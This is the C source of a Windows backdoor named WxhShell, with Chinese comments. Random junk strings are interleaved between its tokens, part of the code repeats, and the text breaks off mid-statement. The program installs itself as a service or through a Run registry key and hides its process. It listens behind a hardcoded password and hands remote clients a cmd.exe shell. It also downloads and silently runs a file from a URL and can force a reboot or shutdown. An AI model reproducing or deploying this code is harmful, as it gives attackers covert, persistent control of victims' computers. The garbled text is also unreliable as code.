%967#XI[y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1s#GY<< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C<iOa)_@Q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { :_qa | A-qpuI;f if (!NtQueryInformationProcess) return 0; W:=CpbwENX ZY> u4v. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;F>I+l_X if(!hProcess) return 0; Y]HtO^T2 )N]%cO(^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; azpXE Hbz,3{o5 CloseHandle(hProcess); BjbpRQ, lyrwm{& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o|c"W}W if(hProcess==NULL) return 0; cjBHczkY F5f1j]c HMODULE hMod; {]:B80I;2 char procName[255]; ^]?Yd )v unsigned long cbNeeded; kZvh<NFh_ J~rjI24 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #+PfrS= |0aGX]Y CloseHandle(hProcess); .1?7)k
v `v$Bib) if(strstr(procName,"services")) return 1; // 以服务启动 {c:ef@'U I}7=\S/@ return 0; // 注册表启动 wi-{& } qt#4i.Iu+ %p.hwgvnp // 主模块 t M{U6k int StartWxhshell(LPSTR lpCmdLine) -` e`U%n { [$(/H; SOCKET wsl; >CPoeIHK BOOL val=TRUE; Pr^p
^s int port=0; ~m@w p struct sockaddr_in door;
.)XJ- .FAuM~_99b if(wscfg.ws_autoins) Install(); aQhr$aH >d#6qXKAU port=atoi(lpCmdLine); } T<oLvS Ol.
rjz9 if(port<=0) port=wscfg.ws_port; de?lO;8 e.^Y4( WSADATA data; DM@&=c if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ *^E Z8 _QKw> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x<e-%HB*- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .TWX,# door.sin_family = AF_INET; mdD9Q
N01 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y=N; Bj door.sin_port = htons(port); <E&"] k34!*(`q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qfzT8-Y closesocket(wsl); ;Cqjg.wkB return 1; N?;5%pG
< } B[Fuy y? rSfvHO:R
if(listen(wsl,2) == INVALID_SOCKET) { z@S39Xp== closesocket(wsl); j{a3AEmps return 1; iVGc\6+' } k/ ZuFTN Wxhshell(wsl); 9d!}]+"d42 WSACleanup(); #T8$NZA 4$!iw3N( return 0; ec` $2u 6M758K6v } zE NlL (">gLr // 以NT服务方式启动 H/ 6GD,0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pu*vFwZ { Y4|g^>{<ni DWORD status = 0; xiPP&$mg DWORD specificError = 0xfffffff; g"Z X1X +~A<&7[} serviceStatus.dwServiceType = SERVICE_WIN32; Li;(~_62a] serviceStatus.dwCurrentState = SERVICE_START_PENDING; i\?P>:) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p;rGaLo:u serviceStatus.dwWin32ExitCode = 0; a,N?GxK~ serviceStatus.dwServiceSpecificExitCode = 0; nu#_,x<LS serviceStatus.dwCheckPoint = 0; p@7[w@B\c serviceStatus.dwWaitHint = 0; UPkD^D, .%4{zaB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R'q:Fc if (hServiceStatusHandle==0) return; rpT{0>5 UMJ>6Ko8 status = GetLastError(); <KDl2>O if (status!=NO_ERROR) W<D(M.61A { 7+I2"Hy serviceStatus.dwCurrentState = SERVICE_STOPPED; {E~MqrX serviceStatus.dwCheckPoint = 0; pQY.MZSA serviceStatus.dwWaitHint = 0; wB;'+d& serviceStatus.dwWin32ExitCode = status; q:1_D> serviceStatus.dwServiceSpecificExitCode = specificError; z!I(B^)BkT SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Y8/ZW~D0 return; :K6(`J3Y"^ } o=
%Fh 9GZKT{* serviceStatus.dwCurrentState = SERVICE_RUNNING; [af<FQ { serviceStatus.dwCheckPoint = 0; emV@kN. serviceStatus.dwWaitHint = 0; 9)qjW &` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '?~k`zK } ?DC3BA\) N|ut^X+|\ // 处理NT服务事件,比如:启动、停止 %8V/QimHU VOID WINAPI NTServiceHandler(DWORD fdwControl) Pl
}dA { 7^~pOFdH switch(fdwControl) _;BN;]. { 4JHFn [% case SERVICE_CONTROL_STOP: oIM] serviceStatus.dwWin32ExitCode = 0; ya'@AJS serviceStatus.dwCurrentState = SERVICE_STOPPED; hsQrHs'k serviceStatus.dwCheckPoint = 0; ?eb2T`\0Q serviceStatus.dwWaitHint = 0; a]465FY { [N/[7Q/y SetServiceStatus(hServiceStatusHandle, &serviceStatus); u= K?K } snBC +`- return; n8M/Y}mH case SERVICE_CONTROL_PAUSE: M,Px.@tw. serviceStatus.dwCurrentState = SERVICE_PAUSED; *s6MF{Ds break; pAV}hB case SERVICE_CONTROL_CONTINUE: zSYWNmj& serviceStatus.dwCurrentState = SERVICE_RUNNING; iD|"} }01 break; PaEsz$mgy case SERVICE_CONTROL_INTERROGATE: &0
VM <
break; {=,?]Z+ }; rY>{L6d SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Ya-;&;` } t$=0 C Nky%v+r // 标准应用程序主函数 VB 8t"5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +6!.)Ea= { e3wFi,/@ Z<|caT]Q( // 获取操作系统版本 P$)9osr OsIsNt=GetOsVer(); x
c-=;|s GetModuleFileName(NULL,ExeFile,MAX_PATH); |Js96>B: m)q;eQs // 从命令行安装 ~} mX#, if(strpbrk(lpCmdLine,"iI")) Install(); sDCa&"6+@ t?v0ylN // 下载执行文件 (*%+!PS if(wscfg.ws_downexe) { u+zq:2)H6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HPT9B?^ WinExec(wscfg.ws_filenam,SW_HIDE); P,O9On } KW.S)+<H& s&lZxnIjc if(!OsIsNt) { P$@5&/] // 如果时win9x,隐藏进程并且设置为注册表启动 mhM=$AIq HideProc(); q5[%B K StartWxhshell(lpCmdLine); h"YIAQ', } r! 5C3 else 79a{Zwdd9j if(StartFromService()) odquAqn // 以服务方式启动 0}Xkj)R, StartServiceCtrlDispatcher(DispatchTable); COj50t/ else "0g1'az} // 普通方式启动 @)m+O#a StartWxhshell(lpCmdLine); F5J=+Q%8[& ;G~0 VM2| return 0; =5LtEgHU } ;P _`4w3 SM:{o&S` ?}B9=R$Pi a7q-*%+d5 =========================================== +iwNM+K/gQ Gz!72H -^;G^Uq6= )j@k[}R#g `ivr$b# m7e$Z " d <qbUk3; "aP>}5<h #include <stdio.h> E+"INX7 #include <string.h> sj`9O- ?49 #include <windows.h> (>>pla^ #include <winsock2.h> T_, LK7D #include <winsvc.h> A
A<9XC #include <urlmon.h> ;oULtQ ix]3t^ #pragma comment (lib, "Ws2_32.lib") @^;WC+\0 #pragma comment (lib, "urlmon.lib") r[M]2h '8k\a{t_z #define MAX_USER 100 // 最大客户端连接数 (1(3:)@S6 #define BUF_SOCK 200 // sock buffer mw`%xID* #define KEY_BUFF 255 // 输入 buffer \J-O b r#]gAG4t\
#define REBOOT 0 // 重启 pp#Kb 2* #define SHUTDOWN 1 // 关机 w]) bQ7) gA!-F}x$ #define DEF_PORT 5000 // 监听端口 F)_Rs5V:( Ajq;\-: #define REG_LEN 16 // 注册表键长度 4\2p8__ #define SVC_LEN 80 // NT服务名长度 \Ul*Nsw akBR"y:~:H // 从dll定义API eJ%~6c`@! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rem&F'x0V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *u7C){)gr[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !V@Y \M
d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v<tH 3I+ \9i.dF // wxhshell配置信息 klUxt?- struct WSCFG { KL.{)bi int ws_port; // 监听端口 0tn5>Dsk char ws_passstr[REG_LEN]; // 口令 n4k.tq int ws_autoins; // 安装标记, 1=yes 0=no m3 (fr char ws_regname[REG_LEN]; // 注册表键名 .K}u`v T char ws_svcname[REG_LEN]; // 服务名 R.|fc5_"+ char ws_svcdisp[SVC_LEN]; // 服务显示名 V uJth
char ws_svcdesc[SVC_LEN]; // 服务描述信息 zG@9-s* L char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F>n<;< int ws_downexe; // 下载执行标记, 1=yes 0=no ,Xk8{= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zu\#;O char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V>A@Sw ILF"m; }; MJV&%E6{:{ 7x-k-F3 // default Wxhshell configuration N iNZh; struct WSCFG wscfg={DEF_PORT, '_r|L1 "xuhuanlingzhe", MY9?957F 1, Zi@?g IiX "Wxhshell", i3;Z:,A4NN "Wxhshell", z=>]E1'RL "WxhShell Service", A~nq4@uj "Wrsky Windows CmdShell Service", Ax0u \(p<^ "Please Input Your Password: ", qg:1 1, N_q7ip%z "http://www.wrsky.com/wxhshell.exe", pR 1 v^m| "Wxhshell.exe" Wz:MPdz3( }; k%NY,(:( -hp,O?PM // 消息定义模块 8,dCx}X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0NpxqeIDY char *msg_ws_prompt="\n\r? for help\n\r#>"; 1.yw\ZC\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _h@7>+vl~ char *msg_ws_ext="\n\rExit."; &sJpn*W char *msg_ws_end="\n\rQuit."; pVt-7AgW char *msg_ws_boot="\n\rReboot..."; I g-VSQ char *msg_ws_poff="\n\rShutdown..."; Ao`9 fI#q char *msg_ws_down="\n\rSave to "; ;n7k_K#0z! %>xW_5;Z char *msg_ws_err="\n\rErr!"; .b N0! char *msg_ws_ok="\n\rOK!"; }Ss#0Gee >\}2("bv char ExeFile[MAX_PATH]; lJKhP int nUser = 0; N1P[&lR HANDLE handles[MAX_USER]; k@4]s_2 int OsIsNt; ./5|i*ow wzo-V^+q SERVICE_STATUS serviceStatus; fRaVY`|wK SERVICE_STATUS_HANDLE hServiceStatusHandle; b%,5B A{9Hm:) // 函数声明 |%&WYm6 int Install(void); jW2z3.w int Uninstall(void); pl
q$t/.U; int DownloadFile(char *sURL, SOCKET wsh); "M_X9n_ int Boot(int flag); ~O@V;y void HideProc(void); z>~`9Qiw' int GetOsVer(void); S:rW}r J int Wxhshell(SOCKET wsl); RF g$N@g, void TalkWithClient(void *cs); RU_=VB % int CmdShell(SOCKET sock); zMtK_ccQ int StartFromService(void); jh\q2E~,` int StartWxhshell(LPSTR lpCmdLine); X?4tOsd SRM[IU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _u{D #mmO VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2lAuO!% I9SO}a2p // 数据结构和表定义 8C4Tyms SERVICE_TABLE_ENTRY DispatchTable[] = |4X:>Ut] { K.l?R#G`,F {wscfg.ws_svcname, NTServiceMain}, *1; <xeVD {NULL, NULL} G-M!I`P }; N ?V5gi ^>g+:?x // 自我安装 y<)Lr}gP int Install(void) JkQ4'$: { a5Xr"- char svExeFile[MAX_PATH]; ET=q
1t8 HKEY key; quGb;)3 strcpy(svExeFile,ExeFile); BR5$;-7W wg! // 如果是win9x系统,修改注册表设为自启动 ;EL!TzL:8 if(!OsIsNt) { kz,Nz09}W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sm+Ek@Ax RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lmr{Ib2a RegCloseKey(key); Y&'2/zI6~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q9%N>h9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C/!2q$ RegCloseKey(key); ]>R`]U9*O return 0; ^!pagt^ } _6=6 b!hD } .%WbXs } ^U~YG=!ww else { bG.aV#$FIg N1#*~/sXh // 如果是NT以上系统,安装为系统服务 <-}6X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 20% xD e if (schSCManager!=0) Gtg;6&2 { f*oL8"?u& SC_HANDLE schService = CreateService P-^Z7^o-bX ( Qo;$iLt schSCManager, jew?cnRmd wscfg.ws_svcname, J#:%| F% wscfg.ws_svcdisp, x:sTE u@ SERVICE_ALL_ACCESS, 5'l+'ox@J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |!57Z4X SERVICE_AUTO_START, !8l4Hc8 SERVICE_ERROR_NORMAL, )2bPu[U svExeFile, J]N-^ld\\ NULL, 4!/{CGP NULL, A`X$jpAn& NULL,
]MUuz'< NULL, Eg
w ? NULL 3ufUB^@4v ); 5zfaqt` if (schService!=0) M5Pvc { X*%KR4` CloseServiceHandle(schService); jw(v08u > CloseServiceHandle(schSCManager); Rfa1v*( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wv(VV[?/& strcat(svExeFile,wscfg.ws_svcname); dLQ!hKD~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $[FO(w@f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hz\7Z+ $L_ RegCloseKey(key); s|EP/=9i return 0; EkOBI[` } p(U'c}@2 } )W*S6}A CloseServiceHandle(schSCManager); 2,NQ(c_c$ } 6PvV X*5T } c(YNv4*X ,VJ0J!@ return 1; @Cw<wrem } ,pf<"^li &:'Uh
W-t // 自我卸载 \J9@p int Uninstall(void) oEKLuy { #W!@j"8eK HKEY key; ,/o<O jR M@8
<^CK if(!OsIsNt) { ZIpL4y
=_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H$1R\rE` RegDeleteValue(key,wscfg.ws_regname); EkjO4=~UC RegCloseKey(key); roW8 4x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s:;!QIC5jo RegDeleteValue(key,wscfg.ws_regname); Ds0^/bYp& RegCloseKey(key); Cd6^aFoK! return 0; ;uDH&3W } }v@w(*)h: } #,!.e } |*OS;FD5 else { [",W TZ: =wI,H@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uF@Q8 7G if (schSCManager!=0) 8~rD#8`6j { I.q nA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A9$q;8= < if (schService!=0) qBKIl=
ne { ETjlq]@j if(DeleteService(schService)!=0) { 0P%(4t$pd CloseServiceHandle(schService); 9<\wa/# CloseServiceHandle(schSCManager); >KM<P[BRd return 0; In^$+l%O[ } H$;K(,' CloseServiceHandle(schService); O1rnF3Be } Wd&!##3$Q CloseServiceHandle(schSCManager); Ojie.+'SB } ]}KmT"vA } l_+s$c ddlLS return 1; eNN% %Q } 4wBMBCJ;P )Q6R6xW // 从指定url下载文件 3xV int DownloadFile(char *sURL, SOCKET wsh)
]| ~],\ { g3Kc? wTC HRESULT hr; >JrQS"[u char seps[]= "/"; -4;{QB? char *token; ~i6tcd char *file; 3H@TvV/;f char myURL[MAX_PATH]; ,j9}VnW) char myFILE[MAX_PATH]; R;'Pe> UiaY0 .D strcpy(myURL,sURL); 3EF|1B/5 token=strtok(myURL,seps); /`}C~ while(token!=NULL) M,q'
{ gWgYZX file=token; Q[`_Y3@j token=strtok(NULL,seps); QfT&y & } YG"P:d;s &xrm;pO GetCurrentDirectory(MAX_PATH,myFILE); FeLWQn/aV6 strcat(myFILE, "\\"); 9(ANhG strcat(myFILE, file); _%z)Y=Q send(wsh,myFILE,strlen(myFILE),0); wgzjuTqwBF send(wsh,"...",3,0); Dr,{V6^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fgt/A#`fz if(hr==S_OK) v[35C]gS return 0; u|O5ZV-cd else O2ety2}?f return 1; 4N*Fq!k~ l|U=(aA]h } .5KRi6 osPX%k!yw // 系统电源模块 Xk(c2s& int Boot(int flag) V:F)m! { 9'td}S HANDLE hToken; &hyr""NkAm TOKEN_PRIVILEGES tkp; Y
-o*d@ m:II<tv if(OsIsNt) { 5JIa?i>B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VO#]IXaP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K=+w,H#`C tkp.PrivilegeCount = 1; ^\{%(i9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /|`;|0/2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WLv( K_3Y if(flag==REBOOT) { zSj.Y{J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iV(B0z return 0; Qh%7RGh_ } ?f CLiK else { l J;wl|9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q8P| ] return 0; =ni&*& } >umcpkp-h } )Xl/|YD else { -Ufd+( if(flag==REBOOT) { y<8)mw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R%8nR6iG" return 0; 9I+;waLlB } -:*PXu else { r >u0Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P_,f return 0; ATk>:^n } `c(,_oa{ } .e"De-u b4S7Q"g return 1; ) m%ghpX } v3Te+oLg Hx62x X // win9x进程隐藏模块 z!D >l void HideProc(void) -`&4>\o2Lx { ZQsE07 xHZx5GJp9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S-Ryt>G if ( hKernel != NULL ) vn6/H8
{ 5i83(>p3]e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2W$c%~j$2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -gv@
.# N FreeLibrary(hKernel); !94&Uk(O } D8paIp V-O 49 return; 'nBJ[$2^ } IP-CN D0us<9q // 获取操作系统版本 =@G#c5H* int GetOsVer(void) bhnm<RZ { m:/ nw, OSVERSIONINFO winfo; It(8s)5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :-Ho5DHg GetVersionEx(&winfo); J<>z}L{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QE=Cum
return 1; *{)[:; else E)NH6~ return 0; /n/U)!tp } W6E9
f/eT4y // 客户端句柄模块 Gxy>aS3 int Wxhshell(SOCKET wsl) t \Fc < { lk2F]@_kJH SOCKET wsh; vXq=f:y4 struct sockaddr_in client; PF1!aAvVb DWORD myID; Kg~<h B6 rcF;Lp : while(nUser<MAX_USER) WFjNS'WI_ { j K$4G.x int nSize=sizeof(client); HI,1~Jw+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <E&1HeP if(wsh==INVALID_SOCKET) return 1; +}I[l,,xy h"
P4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j/#kO? if(handles[nUser]==0) NA]7qb%%< closesocket(wsh); [qIi_(%o else ;]i&AAbj nUser++; RR75ke[Hs } [WRs1$5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ryW1OV6?_0 V%<<Udu< return 0; fP&F$"o8 } d[kb]lC *P61q\2Z // 关闭 socket yodJGGAzk void CloseIt(SOCKET wsh) 4+$<G /K { ;=5V)1~i1; closesocket(wsh); NQ'^z nUser--; B5 C]4 ExitThread(0); ?0DCjh8We } 3wX{U8mrg ,B5Ptf# // 客户端请求句柄 0{BPT>' void TalkWithClient(void *cs) ^ B=x-G. { <{[AG3/Zj4 h<Yn0(. SOCKET wsh=(SOCKET)cs; &oWWc$ char pwd[SVC_LEN]; ]i8K )/ char cmd[KEY_BUFF]; >|o-&dk char chr[1]; -=Q_E^' int i,j; S/G,A,"c l#\z3"b while (nUser < MAX_USER) { !6@xX08z {l0;G)- if(wscfg.ws_passstr) { rPaD#GA[7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #E{aN?_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6mep|![6 //ZeroMemory(pwd,KEY_BUFF); bhOyx i=0; 5y(irbk7 while(i<SVC_LEN) { r{YyKSL1*K L`R,4mI.W // 设置超时 CbQ@l@d] fd_set FdRead; bv\V>s struct timeval TimeOut; >QE^KtZ FD_ZERO(&FdRead); 95T%n{rz FD_SET(wsh,&FdRead); pnxjuDN7}x TimeOut.tv_sec=8; YQ,IdWav TimeOut.tv_usec=0; p0qQ( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L}XEROTR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "<v_fF<Y $a15
8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _a+0LTo". pwd=chr[0]; q)G*" if(chr[0]==0xd || chr[0]==0xa) { KjZ^\lq' pwd=0; Pl}}!<!<z break; mIFS/C } 7v?tSob:b i++; S82NU2L } i>ORCOOU MeQ(,irr^ // 如果是非法用户,关闭 socket ,RCjfXa if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `DG6ollp{ } )N)ziAy} +(/XMx}a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @!0j)5% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >h[tHM
O thipfS while(1) { %f6l"~y w?jmi~6 ZeroMemory(cmd,KEY_BUFF); xXA$16kd g~FB&U4c // 自动支持客户端 telnet标准 u\t[rC=yd j=0; [O"i!AQ while(j<KEY_BUFF) { 2O<Sig= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(pi7TSJ cmd[j]=chr[0]; {)4Vv`n if(chr[0]==0xa || chr[0]==0xd) { F#X\}MvEU cmd[j]=0; L9Fx
Lw41 break; .Z%7+[ } px//q4U j++; n
'P: } &0(2Z^Z>fw f910drg7 // 下载文件 %bDd if(strstr(cmd,"http://")) { "sT`Dhr send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^}/YGAA if(DownloadFile(cmd,wsh)) *n}9_V% send(wsh,msg_ws_err,strlen(msg_ws_err),0); *XniF~M else qgI
Jg6x/} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;jX_e(T3m } )@R:$l86 else { ^z[s;:- \RQ5$!O switch(cmd[0]) { .8b4 P2`ks[u+i // 帮助
%ef+Z case '?': { Mh~T.;f.qq send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V9Au\ break; KO)<Zh } `(Q58wR} // 安装 YQQ!1hw case 'i': { YgM6z K~ if(Install()) O])/kS` send(wsh,msg_ws_err,strlen(msg_ws_err),0); =;Wkg4\5 else }-r"W7]k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|e 6$O5o break; 6b<t|zb } AQQj]7Y // 卸载 JSGUl4N case 'r': { De>pIN;B> if(Uninstall()) N..9N$+( send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Rv U+D else e% 5! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (a^F`#] break; _F@FcFG1Z* } ulj`+D?H // 显示 wxhshell 所在路径 l\$C)q6O case 'p': { QRdb~f;<hj char svExeFile[MAX_PATH]; n8:2Z> strcpy(svExeFile,"\n\r"); *,'"\n strcat(svExeFile,ExeFile); t8?+yG; send(wsh,svExeFile,strlen(svExeFile),0); []dRDe;# break; QtN 0|q{af } 3>L1}zyM] // 重启 L {B#x@9tQ case 'b': { L"}@>&6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lPFMNRt~8 if(Boot(REBOOT)) _I$]L8hC send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7PtC,74 else { A)`M*(~ closesocket(wsh); ][?GJ"O+U ExitThread(0); vm4]KEyrX } {< kl)} break; .-WCB } 8V}c(2m // 关机 Pyyx/u+?@ case 'd': { brTB
/(E send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7XR[`Tn9< if(Boot(SHUTDOWN)) P `2Rte6s send(wsh,msg_ws_err,strlen(msg_ws_err),0); IloHU6h' else { ;nh7Elk closesocket(wsh); IL>g- ExitThread(0); Wq,UxMz } *-P@|eg break; B"Fg`s+]U } -C8awtbC // 获取shell G 8NSBaZe case 's': { X;6X
K$" CmdShell(wsh); `q
xg closesocket(wsh); As)-a5! ExitThread(0); ,%,}[q?]d break; bjvi`jyL3k } wkIH<w|jb // 退出 ")sq?1?X case 'x': { DD~8:\QD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); el[6E0!@ CloseIt(wsh); w\@Anwj#L break; ^3r2Q?d\ } z ,ledTl // 离开 a(J~:wgd case 'q': { oa9T3gQ? send(wsh,msg_ws_end,strlen(msg_ws_end),0); |20p#]0E+ closesocket(wsh); LXK+WB/s WSACleanup(); Sk1yend4 exit(1); V'6%G:?0a break; G7),!Qol } 5k\61(*s } kw yvd`J8 } ^T<<F}@q #K4wO!d // 提示信息 _Y~+ #Vc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .79'c%3} } }2h~o~ } YE^|G,] Ybok[5 return; 6~2!ZU } $Z;0/\r% EL+}ab2S // shell模块句柄 M@gm.)d int CmdShell(SOCKET sock) z{%G { c3Mql+@ STARTUPINFO si; s\KV\5\o ZeroMemory(&si,sizeof(si)); S&QZ"4jq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H ~$a6T"& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X GO_n{x PROCESS_INFORMATION ProcessInfo; n\P{Mc char cmdline[]="cmd"; oR5`- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U~T/f-CT return 0; ,m:MI/)p } {WC{T2:8 SYC_=X // 自身启动模式 Uh9$e int StartFromService(void) 2} T"|56 { r?Z8_5Y typedef struct &]ImO
RN { IRcZyry DWORD ExitStatus; :Tjo+vw7$H DWORD PebBaseAddress; xl<Cstr DWORD AffinityMask; "4ovMan DWORD BasePriority; N2x\O~7 ULONG UniqueProcessId; -ff*,b$Q/ ULONG InheritedFromUniqueProcessId; #PFf`7b,z } PROCESS_BASIC_INFORMATION; U`:$1*(` \6sp"KqP PROCNTQSIP NtQueryInformationProcess; eR;cl$ hsVWD,w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yuhSP{pv' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <)"Mi}Q[)p gE:qMs; HANDLE hProcess; v'DL >Y PROCESS_BASIC_INFORMATION pbi; 8Y&(o-R0 %*Y:Rm'> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NB>fr#pb if(NULL == hInst ) return 0; )TP7gLv=b +=:CW'B5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A3h[VnuG, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3g} ]nj:N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :PjHs Np;^ *%Q!22?6F if (!NtQueryInformationProcess) return 0; s K s
D /<M08ze hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >0u4>=# if(!hProcess) return 0; \5O4}sm$* :}j{ NM# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J;G+6C$: zf6k% CloseHandle(hProcess); (u RAK {HQ? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NPKRX Li% if(hProcess==NULL) return 0; U?H!:?,C $7lI Dt HMODULE hMod; Nno*X9>~ char procName[255]; )Ibp%'H unsigned long cbNeeded; EAx@a% 1'Kn:I if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, 